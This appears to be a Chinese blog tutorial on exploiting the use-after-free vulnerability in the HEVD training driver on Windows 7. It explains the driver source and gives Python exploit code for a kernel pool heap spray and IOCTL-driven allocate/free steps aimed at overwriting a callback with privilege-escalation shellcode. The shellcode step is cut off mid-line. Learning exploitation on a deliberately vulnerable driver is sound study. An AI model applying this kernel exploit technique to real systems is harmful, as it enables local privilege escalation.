内核双机调试环境搭建的教程在网上有很多,值得一提的是mac下通过虚拟机也可以实现双机调试,这次要分析的文章是内核漏洞中的UAF漏洞。在这里主要是通过HEVD这个项目来了解内核漏洞的原理以及利用方式。
需要指出的是,我这里的调试环境是,调试机是win764位,被调试机是win732位。
UAF漏洞UAF漏洞原理在网上也可以找到很多讲解的文章,具体的原理不再讲解。大致原理是:申请出一个堆块保存在一个指针中,在释放后,没有将该指针清空,形成了一个悬挂指针(danglingpointer),而后再申请出堆块时会将刚刚释放出的堆块申请出来,并复写其内容,而悬挂指针此时仍然可以使用,使得出现了不可控的情况。攻击者一般利用该漏洞进行函数指针的控制,从而劫持程序执行流。
漏洞利用的过程可以分为以下4步:
申请堆块,保存指针。
释放堆块,形成悬挂指针。
再次申请堆块,填充恶意数据。
使用悬挂指针,实现恶意目的。
下面我们去HEVD项目中具体看如何体现。
申请堆块首先是0x222013驱动号对应的分配USE_AFTER_FREE结构体的函数,该结构体的定义是
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
可以看到里面有个函数指针,以及后面有个0x54大小的字符串。分配UAF对象函数的关键代码如下:
UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,
sizeof(USE_AFTER_FREE),
(ULONG)POOL_TAG); //申请堆块
……
// Fill the buffer with ASCII 'A'
RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
// Null terminate the char buffer
UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
// Set the object Callback function
UseAfterFree->Callback = &UaFObjectCallback; //赋值函数指针
// Assign the address of UseAfterFree to a global variable
g_UseAfterFreeObject = UseAfterFree; //保存全局指针
可以看到首先调用ExAllocatePoolWithTag申请出PUSE_AFTER_FREE结构体,并将该结构体的函数指针赋值为一个UaFObjectCallback函数地址。并在最后一行代码里,将申请出来的堆块保存在全局指针中。
释放堆块直接看到0x22201B驱动号对应的释放堆块的FreeUaFObjectIoctlHandler函数。关键代码及注释如下:
if (g_UseAfterFreeObject) {
DbgPrint("[+] Freeing UaF Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);
#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
g_UseAfterFreeObject = NULL; //可以看到在安全的版本中,将全局指针清空了
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
//而在有漏洞的版本中并没有将全局指针清空,导致形成悬挂指针
#endif
漏洞即存在该函数当中,HEVD函数里有安全和漏洞两个版本的选项,通过源代码可以很明显的看到在安全的版本中,释放掉堆块后,有将全局指针清空的操作,而在漏洞的版本中并没有清空指针的操作,从而形成了悬挂指针,导致了漏洞的形成。
再次申请堆块再次申请堆块对应的是0x22201F驱动号对应的AllocateFakeObjectIoctlHandler函数,该函数中申请出一个与USE_AFTER_FREE同样大小的FAKE_OBJECT结构体。
typedef struct _FAKE_OBJECT {
CHAR Buffer[0x58];
} FAKE_OBJECT, *PFAKE_OBJECT;
关键源代码及注释如下:
// Allocate Pool chunk
KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,
sizeof(FAKE_OBJECT),
(ULONG)POOL_TAG);
//申请结构体
……
// Copy the Fake structure to Pool chunk
RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT)); //将用户输入拷贝至结构体
可以看到再次申请的这个FAKE结构体与前面的区别在于没有前面4字节的函数指针。这里的攻击场景可以理解为,再次申请出来的FAKE结构体与之前的结构体是同一块内存,在最后将用户输入拷贝到结构体的时候就会覆盖结构体里面的函数指针,指向攻击者shellcode的位置。
使用悬挂指针在上一步中,我们已经做到了FAKE结构体和USE_AFTER_FREE指向同一块内存,同时使用用户输入覆盖了该结构体的函数指针,因此再次使用函数指针时,会导致控制流的劫持,驱动号0x222017对应的UseUaFObjectIoctlHandler函数关键源代码如下:
if (g_UseAfterFreeObject) {
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
DbgPrint("[+] Calling Callback\n");
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback(); //该地址由攻击者控制。
}
Status = STATUS_SUCCESS;
}
编写EXP上一部分通过源代码介绍了漏洞的大致利用过程,这一部分,主要是具体exp的编写,以及实际要解决的一个问题。
需要解决的问题在这里需要解决的一个问题就是,在我们第二步释放堆块的时候,该结构体有可能会和前面已经释放的堆块合并,如果合并的话,在我们再次申请的时候申请的时候,分配出来的堆块将不再是同一块内存,导致覆盖函数指针失败。
如何解决该问题,有一篇论文写的很好,要详细了解可以去看看,最后解决的方案大致意思是如下:
Windows系统中有个叫IoCompletionReserve的对象大小为0x60,可以通过NtAllocateReserveObject申请出来,需要做的是
1.首先申请0x10000个该对象并将指针保存下来;
2.然后再申请0x5000个对象,将指针保存下来;
3.第二步中的0x5000个对象,每隔一个对象释放一个对象;
第一步的操作是将现有的空余堆块都申请出来,第二步中申请出来的堆块应该都是连续的,通过第三步的操作,使得我们申请UAE_AFTER_FREE结构体其前面的堆块应该不是空闲的,因此在释放的时候不会合并,从而再分配的时候出现意外的可能性基本为0。
下面是具体exp的代码,是python编写的。
首先第一步是申请IoCompletionReserve对象并释放,以此来控制好堆块布局的代码。
def heap_spray():
spray1 = []
spray2 = []
for i in range(0,0x10000):
spray1.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))
for i in range(0,0x5000):
spray2.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))
for i in range(0,0x5000,2):
CloseHandle(spray2[i])
接下来是申请UESAFTERFREE堆块
def alloc(hDevice,dwIoControlCode):
"""alloc USEAFTERFREE struct"""
evilbuf = create_string_buffer("A"*0x58)
lpInBuffer = addressof(evilbuf)
nInBufferSize = 0xffffffff
lpOutBuffer = None
nOutBufferSize = 0
lpBytesReturned = None
lpOverlapped = None
pwnd = DeviceIoControl(hDevice,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize,
lpBytesReturned,
lpOverlapped)
再接着是释放该堆块
def delete(hDevice,dwIoControlCode):
"""delete USEAFTERFREE struct"""
evilbuf = create_string_buffer("A"*0x58)
lpInBuffer = addressof(evilbuf)
nInBufferSize = 0xffffffff
lpOutBuffer = None
nOutBufferSize = 0
lpBytesReturned = None
lpOverlapped = None
pwnd = DeviceIoControl(hDevice,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize,
lpBytesReturned,
lpOverlapped)
紧接着是申请出FAKE结构体,使用shellcode地址填写前四字节,shellcode使用的是提权shellcode,具体原理可以在网上寻找。
def alloc_fake(hDevice,dwIoControlCode):
evilbuf = create_string_buffer(struct.pack("
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?


微信扫码登录